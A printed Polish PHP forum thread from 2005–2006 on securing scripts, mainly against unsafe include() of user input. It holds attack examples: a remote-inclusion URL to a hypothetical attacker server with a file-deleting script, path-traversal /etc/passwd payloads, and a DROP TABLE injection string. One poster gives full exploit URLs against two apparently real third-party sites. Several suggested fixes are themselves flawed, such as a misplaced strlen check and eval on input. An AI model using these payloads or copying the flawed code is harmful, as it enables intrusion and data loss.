Drukowana wersja tematu

Kliknij tu, aby zobaczyć temat w orginalnym formacie

Forum PHP.pl _ PHP _ Bezpieczeństwo skryptów PHP

Napisany przez: Diwi 5.05.2005, 13:21:40

Witam.

Chciałbym rozpocząć temat o bezpieczeństwie skryptów php. Na forum istnieje już temat o http://forum.php.pl/index.php?showtopic=23258 lecz nie ma o ogólnym bezpieczeństwie skryptów.

1. Złe używanie include.

Często dołączamy pliki dynamicznie pobierając miejsce gdzie znajduje się plik metodą GET.

Przykładowy adres:
http://www.jakas-strona.pl/index.php?plik=katalog.php

Kod php:

  1. <?php
  2. include($_GET['plik']);
  3. ?>


Taki skrypt dokonałby dołączenia pliku katalog.php do skryptu lecz co by się stało gdyby włamywacz wpisał taki adres:
http://www.jakas-strona.pl/index.php?plik=http://www.adres-strony-hakera.pl/skrypt-niszczacy.php

Dajmy na to że skrypt znajdujący się na serwerze hakera wygląda tak:

  1. <?php
  2.  
  3. $katalog = http://www.php.net/opendir('./'); /* skrypt otwiera katalog w którym się znajduje (zostaje wywołany */
  4.  
  5. while ($plik = http://www.php.net/readdir($katalog)) {
  6.  
  7. http://www.php.net/unlink($file);
  8.  
  9. }
  10.  
  11. ?>


No i jeżeli pliki w katalogu mają uprawnienia pozwalające na usunięcie ich przez skrypt to możemy się pożegnać z plikami w katalogu.

Jak temu zapobiec questionmark.gif

Rozwiązanie 1.

Tworzymy taki include:
  1. <?php
  2. include('./'.$_GET['katalog']);
  3. ?>


Taka instrukcja pozwala na dołączanie jedynie plików które znajdują się w katalogu ze skryptem czyli nie można załączyć pliku z innego serwera.

Ja narazie pamiętam tylko tyle lecz jeżeli znacie jakieś inne błędy popełniane przez programistów a także sposoby walczenia z nimi to się tutaj dopiszcie smile.gif

Pozdrawiam

// prosiłbym moderatorów (jeżeli można) o przyklejenie tego tematu

---
Przyklejone - hwao

Napisany przez: bregovic 5.05.2005, 15:49:34

Zaczynając od podstaw, to jakiekolwiek używanie zmiennej $_GET razem z konstrukcja require lub include jest pomyłką, błędem i koszmarem. Jeśli już naprawdę musisz include'ować coś pochodzącego z adresu, to zrób sobie tablicę w skrypcie, coś w stylu:

  1. <?php
  2.  
  3. $tablica[1] = 'jakisplik1';
  4. $tablica[2] = 'jakisplik2';
  5. $tablica[3] = 'jakisplik3';
  6. $tablica[4] = 'jakisplik4';
  7.  
  8. include $tablica[$_GET['costam']];
  9.  
  10. ?>


Oczywiście to rozwiązanie jest koszmarkiem jeśli masz dużą ilość akcji - wtedy trzeba zrobic cos w tym stylu:
  1. <?php
  2.  
  3.  
  4. if(file_exist('bezpieczny_katalog/'.$_GET['costam'].'.php'))
  5. {
  6. include 'bezpieczny_katalog/'.$_GET['costam'].'.php';
  7. }
  8.  
  9. ?>


Generalna zasada to zawsze zakładać że input inny niż tego chcemy, i że user próbuje nas zaatakować. winksmiley.jpg

Napisany przez: Wave 5.05.2005, 16:24:58

A najczęstszym błędem jest stosowanie zmiennych bez odnoszenia się do tablic superglobalnych.
np.

  1. <?php
  2.  
  3. $var; // zamiast
  4. $_COOKIE['var'];
  5. $_POST['var'];
  6. $_GET['var'];
  7. $_SESSION['var'];
  8.  
  9. ?>

Co daje pole do popisu, dla potencjalnego hax0ra.
Jeżeli nie chce nam się pisać tych długich zmiennych można zastosować coś takiego:
  1. <?php
  2.  
  3. while (list($k, $v) = http://www.php.net/each ($_GET)) {
  4. ${$k} = $v;
  5. }
  6.  
  7. ?>


----
Sorka ze sie dopisze ale smile.gif nie chce mi sie pisac nowego posta smile.gif)

Jak komus sie nie che to polecam
  1. <?php
  2. $g = & $_GET;
  3. // i mammy
  4. $g['id'];
  5.  
  6. ?>


Napisany przez: sopel 5.05.2005, 16:36:52

Cytat(bregovic @ 2005-05-05 15:49:34)
Zaczynając od podstaw, to jakiekolwiek używanie zmiennej $_GET razem z konstrukcja require lub include jest pomyłką, błędem

a na przyklad w takiej konstrukcji :

  1. <?php
  2.  
  3. if (http://www.php.net/ctype_alnum($_GET['go'])) {
  4. include $_GET['go'].'.php';
  5. }
  6.  
  7. ?>


questionmark.gif?

tak czy owak moim zdaniem najwazniejsze w tym wszyskim jest odpowiednie filtrowanie wszystkiego co pochodzi z zewnątrz lub w czym zewnętrzny użytkownik mógł maczać palce ... i zdawać sobie sprawę z tego, że nigdy nei jesteśmy w pełni bezpieczni.

Napisany przez: Speedy 5.05.2005, 17:06:27

To ja dodam od siebie jeszcze, że niektóre osoby pisząc aplikacje internetowe, stosują coś takiego jak przechowywanie poufnych danych o userze (po zalogowaniu) w pliku cookie. Taki potencjalny H4X0R może sobie potem swobodnie przeglądać zawartość tych plików i dowolnie je modyfikować. Najgorzej jest wtedy, gdy w takim pliku przechowywana jest wartość zmiennej odpowiedzialna np. za uprawnienia administratora... Wtedy wystarczy ją odpowiednio podmienić i śmiga winksmiley.jpg .
Rozwiązaniem są sesje, które przechowują dane na serwerze.

Pozdrawiam.

Napisany przez: yavaho 8.05.2005, 15:03:31

Mozna nieco przefiltrowac zmiena ktora pzechowuje nazwe dolaczanego pliku. I jezeli jest to plik z innej domeny to adres zostanie nieco zmodyfikowany na tyle ze nie zostanie znaleziony.

  1. <?php
  2. if(http://www.php.net/isset($_GET['page'])){
  3. $page = http://www.php.net/ereg_replace(&#092;"://\",\"#\",$_GET['page']);
  4. }else{
  5. $page='glowna';
  6. }
  7. ?>
Mozna jeszcze wszystkie includowane pliki przechowywac w jakims jednym katalogu i przed wywolaniem takiego pliku zawsze do zmiennej bedzie dolepiona sciezka co zmieni "niechciane linki" . Mozna tez sprawdzic czy includowany plik napewno pochodzi z naszej domeny http://pl.php.net/basename()
  1. <?php
  2. if(http://www.php.net/file_exists('skrypty/'.$page.'.php')){
  3. include ('skrypty/'.http://www.php.net/basename($page.'.php'));
  4. }else{
  5. include ('skrypty/glowna.php');
  6. }
  7. ?>
Po takiej filtracji ja bym sie czul zupelnie spokojnie.

@Speedy czasem musimy cos zostawic w ciasteczku aby rozpoznac danego uzytkownika. Np podczas stosowania autologinu do panelu admina - i tu niestety jest niebezpieczenstwo, na ktore ja nie znam jeszcze dobrego zabezpieczenia.

Napisany przez: matid 8.05.2005, 17:06:28

Cytat(yavaho @ 2005-05-08 16:03:31)
@Speedy czasem musimy cos zostawic w ciasteczku aby rozpoznac danego uzytkownika. Np podczas stosowania autologinu do panelu admina - i tu niestety jest niebezpieczenstwo, na ktore ja nie znam jeszcze dobrego zabezpieczenia.

A nie wystarczy czasem skorzystać z funkcji http://pl.php.net/session_set_cookie_params ?

Napisany przez: sopel 8.05.2005, 17:27:21

Cytat(matid @ 2005-05-08 17:06:28)
Cytat(yavaho @ 2005-05-08 16:03:31)
@Speedy czasem musimy cos zostawic w ciasteczku aby rozpoznac danego uzytkownika. Np podczas stosowania autologinu do panelu admina - i tu niestety jest niebezpieczenstwo, na ktore ja nie znam jeszcze dobrego zabezpieczenia.

A nie wystarczy czasem skorzystać z funkcji http://pl.php.net/session_set_cookie_params ?

Efekt działania tej funkcji widoczny jest tylko do końca działania skryptu.

Napisany przez: Ociu 8.05.2005, 18:21:25

sprawdzanie $_GET'ów etc. :

  1. <?php
  2. if(http://www.php.net/is_int($_GET['id']))
  3. ?>


Wave: lepiej używać foreach.

Napisany przez: vala 14.05.2005, 18:52:01

a nie lepiej zrobic prosty switch ?
ustalimy sobie wtedy wszystkie dostepne przypadki i lux

o cos takiego :

  1. <?php
  2.  
  3.  
  4. if(http://www.php.net/isset($_GET['id']))
  5. {
  6. switch($_GET['id'])
  7. {
  8.  case &#092;"newsy\":
  9.  case &#092;"smieci\": $ref=$_GET['id'];break;
  10.  
  11.  default: $ref=&#092;"newsy\";
  12.  
  13.  }
  14.  
  15. include(&#092;"katalog/\".$ref.\".php\");
  16.  
  17. }
  18.  
  19.  
  20. ?>

Napisany przez: AxZx 21.05.2005, 12:24:56

Cytat(vala @ 2005-05-14 17:52:01)
a nie lepiej zrobic prosty switch ?
ustalimy sobie wtedy wszystkie dostepne przypadki i lux

o cos takiego :
  1. <?php
  2.  
  3.  
  4. if(http://www.php.net/isset($_GET['id']))
  5. {
  6. switch($_GET['id'])
  7. {
  8.  case &#092;"newsy\":
  9.  case &#092;"smieci\": $ref=$_GET['id'];break;
  10.  
  11.  default: $ref=&#092;"newsy\";
  12.  
  13.  }
  14.  
  15. include(&#092;"katalog/\".$ref.\".php\");
  16.  
  17. }
  18.  
  19.  
  20. ?>

@Vala - mozna to zrobic tak, wtedy nie trzeba dawac if(isset(....

  1. <?php
  2.  
  3.  
  4.  
  5. switch(@$_GET['id'])
  6. {
  7.  case &#092;"newsy\":
  8.  case &#092;"smieci\": $ref=$_GET['id'];break;
  9.  
  10.  default: $ref=&#092;"newsy\";
  11.  
  12.  }
  13.  
  14. include(&#092;"katalog/\".$ref.\".php\");
  15.  
  16.  
  17.  
  18.  
  19.  
  20. ?>

Napisany przez: sopel 21.05.2005, 13:19:52

Cytat(AxZx @ 2005-05-21 12:24:56)
@Vala - mozna to zrobic tak, wtedy nie trzeba dawac if(isset(.

trzeba jesli nie chcemy aby pojawial sie nam blad typu E_NOTICE kiedy id nie bedzie w adresie (najczesciej jest to strona glowna). ewentualnie mozna wczesniej umiescic sprawdzenie if (!isset($_GET['id']) $ref="newsy";

Napisany przez: Lars 1.07.2005, 08:45:41

ja mam prosty skrypt:

  1. <?php
  2. if(http://www.php.net/isset($_GET['mod'])) {
  3. $mod=$_GET['mod'];
  4. } else {
  5. $mod=&#092;"news\";
  6. }
  7.  
  8. if(http://www.php.net/isset($_GET['act'])) {
  9. $act=$_GET['act'];
  10. } else {
  11. $act=&#092;"list\";
  12. }
  13.  
  14. $file=$mod.'/'.$act.'.php';
  15.  
  16. if(!http://www.php.net/file_exists($file)) {
  17. http://www.php.net/die();
  18. } else {
  19. include &#092;"$file\";
  20. }
  21. ?>


czy file_exists zabezpiecza includowanie z innego serwera??

Napisany przez: sopel 1.07.2005, 09:25:20

Cytat(Lars @ 2005-07-01 08:45:41)
czy file_exists zabezpiecza includowanie z innego serwera??

tak, ale "Od wersji 5.0.0 php ta funkcja może być użyta także z niektórymi wrapperami URL."

Napisany przez: yavaho 1.07.2005, 09:42:14

Cytat
czy file_exists zabezpiecza includowanie z innego serwera??
Tak, ale tylko w przypadku gdy prawdziwa nazwa includowanego pliku lub sciezka do niego bedzie nieco inna niz ta przekazywana w zmiennej.

W tym przypadku wszystkie includowane pliki musza znajdowac sie w odpowiednim katalogu.
  1. <?php
  2. if(!http://www.php.net/file_exists('katalog/'.$file.'.php')) {
  3. http://www.php.net/die();
  4. } else {
  5. include('katalog/'.$file.'.php');
  6. }
  7. ?>

W tym przypadku wszystkie includowane pliki musza miec specyficzny jednakowy poczatek nazwy pliku.
  1. <?php
  2. if(!http://www.php.net/file_exists('inc_'.$file.'.php')) {
  3. http://www.php.net/die();
  4. } else {
  5. include('inc_'.$file.'.php');
  6. }
  7. ?>

I jezeli w zmiennej przekaze ktos sciezke do innego serwera to taki plik nie zostanie znaleziony.

Napisany przez: gu35t 1.07.2005, 11:18:56

pamietejcie o zonku jaki moze zrobic haxior znakiem pustym:
czyli mam taki np kodzik:

  1. <?php
  2. if(....){
  3. include './skrypty/' . $_GET['plik'] . '.php';
  4. }
  5. ?>

haxior moze wpisac cos takiego
index.php?plik=../../../../../../../etc/passwd%00
czyli:
include ./skrypty/../../../../../../../etc/passwd%00.php no i sie nam pieknie otwarl plik
dobra wiadomosc: znak pusty(\0 == %00) juz na malo jakim serwerze dziala ale czasami znajde. winksmiley.jpg
to znalalem w przeciagu 2 min na google:
http://www.nfz-krakow.pl/index.php?plik=kom/../../../../../../../etc/passwd
http://www-users.mat.uni.torun.pl/~ghost/index.php?plik=./linki/../../../../../../../etc/passwd

Napisany przez: sopel 1.07.2005, 11:22:21

1. kolega pytal tylko czy mozna otworzyc w ten sposob zewnetrzne pliki tongue.gif
2. mysle ze uzycie file_exists() i basename() jest dobrym sposobem na dolaczanie plikow, ale jak jest ich stosunkowo niewiele zawsze najlepiej zrobic switcha
3. co do zanku pustego to dziala tam gdzie jest wylaczone automatyczne magic_quotes i ktos nie zabezpieczyl tego samemu

Napisany przez: Lars 3.07.2005, 19:52:24

co do: http://www-users.mat.uni.torun.pl/~ghost/index.php?plik=./linki/../../../../../../../etc/passwd

to można to zabezpieczyć:

  1. <?php
  2. ....przed includem
  3.  
  4. $_GET['plik']=http://www.php.net/str_replace(&#092;"/\", \"#\", $_GET['plik']);
  5.  
  6. include $_GET['plik'];
  7.  
  8. dalej....
  9. ?>


prosty przykład filtrowania danych happy.gif

Napisany przez: sopel 3.07.2005, 20:00:01

Cytat(Lars @ 2005-07-03 19:52:24)
co do: http://www-users.mat.uni.torun.pl/~ghost/index.php?plik=./linki/../../../../../../../etc/passwd

to można to zabezpieczyć:

  1. <?php
  2. ....przed includem
  3.  
  4. $_GET['plik']=http://www.php.net/str_replace(&#092;"/\", \"#\", $_GET['plik']);
  5.  
  6. include $_GET['plik'];
  7.  
  8. dalej....
  9. ?>


prosty przykład filtrowania danych happy.gif

ja mimo wszystko upieralbym sie przy http://pl.php.net/basename()

Napisany przez: Vengeance 7.07.2005, 19:55:39

@bregovic:

Twój sposób

  1. <?php
  2.  
  3. $tablica[1] = 'jakisplik1';
  4. $tablica[2] = 'jakisplik2';
  5. $tablica[3] = 'jakisplik3';
  6. $tablica[4] = 'jakisplik4';
  7.  
  8. include $tablica[$_GET['costam']];
  9.  
  10. ?>


Też nie jest bezpieczny... dajmy na to wywołam URL:
/skrypt.php?tablica[foobar]=haxiorskiPlik&costam=foobar

Oczywiscie zagrozenie wynika glownie wtedy gdy mamy dostep do zrodel... choc czasem da sie takze zgadnac nazwy zmiennych

Napisany przez: dr_bonzo 8.07.2005, 14:41:45

A wystarczy dodac
$tablica = array();
przed jej uzyciem i po klopocie.
A poza tym to bylo tylko

Cytat
to zrób sobie tablicę w skrypcie, coś w stylu
, pisane szybko i bez doglebnego zastanowienia biggrin.gif

Napisany przez: Lars 24.07.2005, 13:10:05

Jeżeli już trzeba zrobić coś takiego:

  1. <?include $_GET['id'].'.php';?>


to zawsze lepiej:

  1. <?php
  2. $file=$_GET['id'].'.php';
  3. if(http://www.php.net/file_exists($file)) {
  4. include $file;
  5. } else {
  6. http://www.php.net/echo 'Błąd 404';
  7. }
  8. ?>


Jest jeszcze coś takiego (działą tylko z rg=on).

Mamy kod:
  1. <?php
  2. <form action='ksiega.php' method='post'>
  3. <input type='text' name='nick' value='twoj nick'>
  4. <textarea name='tekst'>Twoj tekst</textarea>
  5. <input type='submit' value='Wyslij'>
  6. </form>
  7. ?>


i plik ksiega.php:

  1. <?php
  2. $file=http://www.php.net/fopen('data.txt', a);
  3. $zawartosc='<b>'.$nick.'</b><br>'.$tekst.'<br><br>';
  4. http://www.php.net/fwrite($file, $zawartosc);
  5. http://www.php.net/fclose($file);
  6. http://www.php.net/echo 'OK. <a href=\"javascript:history.back()\">Wróć</a>';
  7. ?>


jest tu bardzo wiele luk, m. in:jak je usunąć??

1. Użycie http://pl.php.net/strlen:
  1. <?php
  2. $file=http://www.php.net/fopen('data.txt', a);
  3. $nick=http://www.php.net/stripslashes($nick);
  4. $tekst=http://www.php.net/stripslashes($tekst);
  5. if(http://www.php.net/strlen($nick>10)) {
  6. http://www.php.net/die('Za długi nick');
  7. } elseif(http://www.php.net/strlen($tekst>100)) {
  8. http://www.php.net/die('Za długi tekst');
  9. }
  10. $zawartosc='<b>'.$nick.'</b><br>'.$tekst.'<br><br>';
  11. http://www.php.net/fwrite($file, $zawartosc);
  12. http://www.php.net/fclose($file);
  13. http://www.php.net/echo 'OK. <a href=\"javascript:history.back()\">Wróć</a>';
  14. ?>


2. Użycie http://pl.php.net/strip_tags:
  1. <?php
  2. $file=http://www.php.net/fopen('data.txt', a);
  3. $nick=http://www.php.net/stripslashes($nick);
  4. $tekst=http://www.php.net/stripslashes($tekst);
  5.  
  6. $nick=http://www.php.net/strip_tags($nick);
  7. $tekst=http://www.php.net/strip_tags($tekst);
  8.  
  9. if(http://www.php.net/strlen($nick>10)) {
  10. http://www.php.net/die('Za długi nick');
  11. } elseif(http://www.php.net/strlen($tekst>100)) {
  12. http://www.php.net/die('Za długi tekst');
  13. }
  14. $zawartosc='<b>'.$nick.'</b><br>'.$tekst.'<br><br>';
  15. http://www.php.net/fwrite($file, $zawartosc);
  16. http://www.php.net/fclose($file);
  17. http://www.php.net/echo 'OK. <a href=\"javascript:history.back()\">Wróć</a>';
  18. ?>


3. Zamiast $tekst/$nick używamy $_GET['tekst']/$_GET['nick']:
  1. <?php
  2. $file=http://www.php.net/fopen('data.txt', a);
  3. $_GET['nick']=http://www.php.net/stripslashes($_GET['nick']);
  4. $_GET['tekst']=http://www.php.net/stripslashes($_GET['tekst']);
  5. $_GET['nick']=http://www.php.net/strip_tags($_GET['nick']);
  6. $_GET['tekst']=http://www.php.net/strip_tags($_GET['tekst']);
  7.  
  8. if(http://www.php.net/strlen($_GET['nick']>10)) {
  9. http://www.php.net/die('Za długi nick');
  10. } elseif(http://www.php.net/strlen($_GET['tekst']>100)) {
  11. http://www.php.net/die('Za długi tekst');
  12. }
  13. $zawartosc='<b>'.$_GET['nick'].'</b><br>'.$_GET['tekst'].'<br><br>';
  14. http://www.php.net/fwrite($file, $zawartosc);
  15. http://www.php.net/fclose($file);
  16. http://www.php.net/echo 'OK. <a href=\"javascript:history.back()\">Wróć</a>';
  17. ?>


4. Użycie http://pl.php.net/flock:
  1. <?php
  2. $file=http://www.php.net/fopen('data.txt', a);
  3. $_GET['nick']=http://www.php.net/stripslashes($_GET['nick']);
  4. $_GET['tekst']=http://www.php.net/stripslashes($_GET['tekst']);
  5. http://www.php.net/flock($file, 2);
  6. $_GET['nick']=http://www.php.net/strip_tags($_GET['nick']);
  7. $_GET['tekst']=http://www.php.net/strip_tags($_GET['tekst']);
  8.  
  9. if(http://www.php.net/strlen($_GET['nick']>10)) {
  10. http://www.php.net/die('Za długi nick');
  11. } elseif(http://www.php.net/strlen($_GET['tekst']>100)) {
  12. http://www.php.net/die('Za długi tekst');
  13. }
  14. $zawartosc='<b>'.$_GET['nick'].'</b><br>'.$_GET['tekst'].'<br><br>';
  15. http://www.php.net/fwrite($file, $zawartosc);
  16. http://www.php.net/flock($file, 3);
  17. http://www.php.net/fclose($file);
  18. http://www.php.net/echo 'OK. <a href=\"javascript:history.back()\">Wróć</a>';
  19. ?>


5. To to samo co w punkcie 2 tongue.gif.

Napisany przez: Vaticinator 16.09.2005, 11:21:56

A jest jakaś możliwość, żeby wybrane pliki dało się otwierać tylko poprzez include(), a nie bezpośrednio z przeglądarki?

Napisany przez: sopel 16.09.2005, 11:40:41

Cytat(Vaticinator @ 2005-09-16 11:21:56)
A jest jakaś możliwość, żeby wybrane pliki dało się otwierać tylko poprzez include(), a nie bezpośrednio z przeglądarki?

jest, na szybko przychodzą mi do glowy 2 sposoby :

1. umiescic pliki w jakims katalogu i zabezpieczyc plikiem .htaccess z odpowiednim wpisem (deny from all)
2. umiescic pliki powyzej public_html

Napisany przez: bregovic 28.09.2005, 15:18:54

Cytat(Vaticinator @ 2005-09-16 11:21:56)
A jest jakaś możliwość, żeby wybrane pliki dało się otwierać tylko poprzez include(), a nie bezpośrednio z przeglądarki?

Plik includeujący:
  1. <?php
  2.  
  3. http://www.php.net/define('x', true);
  4. include 'lol.php';
  5.  
  6. ?>


Plik lol.php:
  1. <?php
  2.  
  3. if(!x) http://www.php.net/die();
  4. //reszta pliku
  5.  
  6. ?>

Napisany przez: mike_mech 21.11.2005, 00:18:04


W związku z ostatnim postem tutaj, który poruszał problem już omówiony postanowiłem trochę oczyścić ten wątek.

Kilka postów zostało usuniętych - zostały te które powinny zostać tongue.gif

Od tej chwili, proszę użytkowników zwłaszcza początkujących o czytanie tego wątku od początku a nie tylko dopisywanie się na końcu bez czytania całości tego wątku.

Czasem (a raczej często) rozwiązanie problemu jaki macie już padło. Warto poświęcić czas na odszukanie rozwiązania.

P.S.
To nie jest kącik lamerskich pytańexclamation.gif!

Napisany przez: huntercs 1.03.2006, 10:50:25

Ja stosuję w sumie proste rozwiązanie, dodaje tylko strony do których użytkownik może wejść i tyle, jeżeli chce wejść na inną to jest przekierowany na str. główną

  1. <?php
  2. $Section=$_GET['Section'];
  3.  
  4. if($Section!='Main' &&
  5. $Section!='Activate' &&
  6. $Section!='Kolejna_strona' &&
  7. $Section!='Inna_strona' &&
  8. $Section!='Regulamin')
  9. http://www.php.net/header("Location: ?Section=Main");
  10. else include_once($Section.".php");
  11. ?>

Napisany przez: nospor 1.03.2006, 10:56:44

No ale poco trzeba pisac nazwe skryptu? Skoro i tak juz to oifowales, to daj identyfikator a nie nazwe. Po co ktoś ma wiedziec jakie masz skrypty?

Napisany przez: mike_mech 1.03.2006, 10:57:57

~huntercs możesz to zrobić bardziej elastycznie i elegancko:

  1. <?php
  2.  
  3. $_GET[ 'Section' ] = ( http://www.php.net/empty( $_GET[ 'Section' ] ) ) ? 'Main' : '';
  4.  
  5. $arrAllowSection = http://www.php.net/array(
  6. 'Main' => 'Main.php',
  7. 'Activate' => 'Activate.php',
  8. 'Inna_strona' => 'Inna_strona.php',
  9. 'Regulamin'  => 'Regulamin.php'
  10. );
  11.  
  12. if( http://www.php.net/in_array( $_GET[ 'Section' ], $arrAllowSection ) )
  13. {
  14. include_once( $arrAllowSection[ $_GET[ 'Section' ] ] );
  15. }
  16. else
  17. {
  18. include_once( $arrAllowSection[ 'Main' ] );
  19. }
  20.  
  21. ?>


Masz teraz możliwość prostego i łatwego dodawanie stron i nie musisz ich adresów uzależniać od wartości $_GET[ 'Section' ]. Bo możesz dawać inne nazwy plików.

Napisany przez: vedeney 1.03.2006, 18:17:47

I like php-coding in this way smile.gif

  1. <?php
  2. include_once(((http://www.php.net/isset($_GET[ 'Section' ]) && !http://www.php.net/empty($_GET[ 'Section' ])) && http://www.php.net/is_file(http://www.php.net/str_replace(http://www.php.net/array(".","/"),"",$_GET['Section']).".php"))?http://www.php.net/str_replace(http://www.php.net/array(".","/"),"",$_GET['Section']).".php":'Main.php');
  3. ?>


Just one line, not 21! Rkingsmiley.png

Napisany przez: ave 6.03.2006, 13:57:15

nie prosciej switch-em ?

  1. <?php
  2. switch($_GET['id']){
  3. case 'aa': include('aa.php');break;
  4. case 'bb': include('bb.php');break;
  5. default:  include('main.php');
  6. }
  7. ?>

Napisany przez: Speedy 6.03.2006, 16:07:32

Switch może być dobry w przypadku, gdy jest mało stron i ich ilość nie jest mobilna. Zauważ, że dla każdego pliku musisz doklepywać osobnego case'a, a można to przecież zrobić bardziej dynamicznie winksmiley.jpg.

Napisany przez: the_foe 7.03.2006, 19:30:46

Jezeli programuje obiektowo to automatyzuje wybieranie stron przez wybieranie metod.
Zaluzmy ze $_GET['p'] odpowiada za podstrone:

  1. <?php
  2.  function get_page()
  3. {
  4. /*metoda zajmuje sie analizowaniem zmiennej p
  5. zgodnie z jej wartoscia przerzuca skrypt do 
  6. metody link_wartosc
  7. */
  8. if (!http://www.php.net/isset($_GET['p']))
  9. {
  10.  
  11. $this->link_index();
  12. }
  13. else
  14. {
  15. $a=http://www.php.net/strtolower($_GET['p']);
  16. $a=http://www.php.net/ereg_replace('([^a-z0-9_-])',"",$a);
  17. if ($a=="")
  18. {
  19. $this->link_index();
  20. }
  21. else
  22. {
  23. $z=method_exists($this,"link_".$a);
  24. if ($z==1)
  25. {
  26. http://www.php.net/eval('$this->link_'.$a.'();');
  27. }else{
  28. $this->error();
  29. }
  30. }
  31. }
  32.  
  33. }
  34. ?>

tworzymy wiec medtode dla linku www.domena.pl/?p=strona link_strona. W metodzie (funkcji) moze byc zwykly include.
Kiedy dana strona nie istnieje, czyli nie stworzylismy danej metody, zostanie uruchomiona metoda error(). Np strona bledu 404 ktora zaprojektujemy, albo zwykly redirector do indeksu.

Napisany przez: LamaMASTER 11.04.2006, 21:50:27

Cytat(Diwi @ 2005-05-05 12:21:40)
1. Złe używanie include.

Często dołączamy pliki dynamicznie pobierając miejsce gdzie znajduje się plik metodą GET.

Przykładowy adres:
http://www.jakas-strona.pl/index.php?plik=katalog.php

Kod php:
  1. <?php
  2. include($_GET['plik']);
  3. ?>


Taki skrypt dokonałby dołączenia pliku katalog.php do skryptu lecz co by się stało gdyby włamywacz wpisał taki adres:
http://www.jakas-strona.pl/index.php?plik=http://www.adres-strony-hakera.pl/skrypt-niszczacy.php

Dajmy na to że skrypt znajdujący się na serwerze hakera wygląda tak:

  1. <?php
  2.  
  3. $katalog = http://www.php.net/opendir('./'); /* skrypt otwiera katalog w którym się znajduje (zostaje wywołany */
  4.  
  5. while ($plik = http://www.php.net/readdir($katalog)) {
  6.  
  7. http://www.php.net/unlink($file);
  8.  
  9. }
  10.  
  11. ?>


No i jeżeli pliki w katalogu mają uprawnienia pozwalające na usunięcie ich przez skrypt to możemy się pożegnać z plikami w katalogu.

Jak temu zapobiec questionmark.gif

Rozwiązanie 1.

Tworzymy taki include:
  1. <?php
  2. include('./'.$_GET['katalog']);
  3. ?>


Taka instrukcja pozwala na dołączanie jedynie plików które znajdują się w katalogu ze skryptem czyli nie można załączyć pliku z innego serwera.

Ludzie litości! Wielkie zabezpieczenia, a ja widzę, że tu ktoś podstaw php nie zna! Od kiedy to w include idzie podać ścieżkę do innego serwera? Jeżeli podamy:
  1. <?
  2. include('http://www.domena.pl/skrypt.php');
  3. ?>

to skrypt nie zostanie zincludowany! Taka opcja jest możliwa jest jedynie w funkcji readfile (do tego właśnie ona jest).
Zastosowanie:
  1. <?
  2. include($zmienna);
  3. ?>

jest dosyć bezpieczne (zależy od skryptu). Najbardziej bezpieczne jest już:
  1. <?
  2. include('katalog/'.$zmienna.'.php');
  3. ?>

Ludzie - jak ja widzę takie bzdury, że wtedy za pomocą index.php?zmienna=http:///cośtam można zhackować stronę to mnie krew zalewa. Tak samo w przypadku tematu o SQL Injection - pierdół pełno powypisywane. Skoro już piszecie w ciemno, to najpierw polecam czy takie coś zadziała, a potem pisać jak przeciwdziałać.
W dodatku przy powyższym skrypcie jeżeli dodamy:
$zmienna = $_GET['zmienna'];
to nie stanie się nic innego jak to, że zmienna przybierze wartość z adresu 2 razy (a co za tym idzie skrypt będzie wykonywany wolniej). Pokażcie mi w tym jakąś lukę to zwracam honor...

Reszty postów i tematu całego wolę dalej nie czytać winksmiley.jpg

Napisany przez: nospor 11.04.2006, 21:58:04

Cytat
Ludzie litości! Wielkie zabezpieczenia, a ja widzę, że tu ktoś podstaw php nie zna! Od kiedy to w include idzie podać ścieżkę do innego serwera?
hmmm, manual klamie?
http://pl.php.net/manual/pl/function.include.php
Cytat
Jeśli "URL fopen wrappers" są włączone w php (takie jest domyślne ustawienie) można podać nazwę pliku do wczytania używając adresu URL (przez protokół HTTP lub innym obsługiwanym sposobem - zajrzyj do Dodatek M aby zapoznać się z listą obsługiwanych protokołów), zamiast podawać ścieżkę lokalną.
Nie sprawdzalem tego nigdy, ale wierze manualowi smile.gif

edit: sprawdzilem. manual nie klamie. da sie smile.gif
Na przyszlosc jak kogos oskarżasz o brak podstaw, sprawdź, czy sam je posiadasz smile.gif

q.php
  1. <?php
  2. include($_GET['file']);
  3. ?>

a link do skryptu:
http://rpn/test/q.php?file=http://forum.webcity.pl/index.php
no i tym sposobem odpalilem se konkurencyjne forum, a teoretycznie chcialem moją stronę smile.gif

Cytat
Reszty postów i tematu całego wolę dalej nie czytać
ja rowniez ci tego nie polecam dla Twego dobra, jeszcze cię coś naprawdę zaleje winksmiley.jpg.

Napisany przez: kszychu 12.04.2006, 08:32:56

A ja z kolei dodam, że3 należałoby się przyjrzeć składni include i pochodnych. Zwłaszcza polecam lekturę: jak zachowuje sieinclude pobierając pliki z innych serwerów.
Kolega LamaMASTER myli się, da się zaincludować skrypt php z innego serwera, z drobnym ale... Uważacie, że apache na tym serwerze puści na źródło skryptu, bo my go o to poprosimy?... Nie? A jak zachowa się apache?...
I obyśmy tylko takich hakerów mieli, którzy skrypt niszczący odpalają z własnego serwera :-D

Napisany przez: LamaMASTER 12.04.2006, 11:32:16

Na moim serwerze taki trick nie działa, dlatego byłem przekonany, że nie idzie (tak samo było u moich kolegów).

Napisany przez: nospor 12.04.2006, 11:34:48

I tylko dlatego, ze u ciebie ten trick nie dziala, to jedziesz po innych uzytkownikach? oskarżasz ich o brak wiedzy, o brak testow tego co robią, o nieczytanie manuala? Zastanow sie co robisz.

Slyszales kiedys o czymś takim, ze kazdy serwer mozna inaczej skonfigurowac?

ps: wspominales cos o zwróceniu honoru... jakos tego nie zauwazylem bys to zrobil tongue.gif

Napisany przez: LamaMASTER 12.04.2006, 17:46:53

Cytat
ps: wspominales cos o zwróceniu honoru... jakos tego nie zauwazylem bys to zrobil

\/
Cytat
Pokażcie mi w tym jakąś lukę to zwracam honor


Cytat
Gdzie masz jakieś pierdoły na ten temat? Podaj przykłady, a nie świeć swoimi mądrościami.

Przykład: Skoro mamy np. mysql_query, to nie jest możliwe zrobienie czegoś takiego: news.php?id=1;DROP%20TABLE%20news; , bo mysql_query pozwala na wysłanie tylko jednego zapytania.

Poświeciłem poświeciłem i się wyświeciło winksmiley.jpg Przepraszam za zamieszanie smile.gif

Napisany przez: Vengeance 12.04.2006, 17:52:35

Ale przy postgresql, mssql czy oracle to już zadziała... pamiętaj, świat nie ogranicza się do mySQL

Napisany przez: thornag 13.04.2006, 14:29:58

Wracajac do powyższej dyskusji na temat include to chcialbym i cos od siebie dodac.

Założmy, że manual klamie (to tak tylko na cele posta tongue.gif) i include nie pozwala dołączać URLi z zewnatrz. Ważne jest tez, że administrator nie wpadł na takowy pomysł i nie ma poistawionego Apache'a na chroocie.

Mamy podany wyzej include o postaci:

  1. <?php
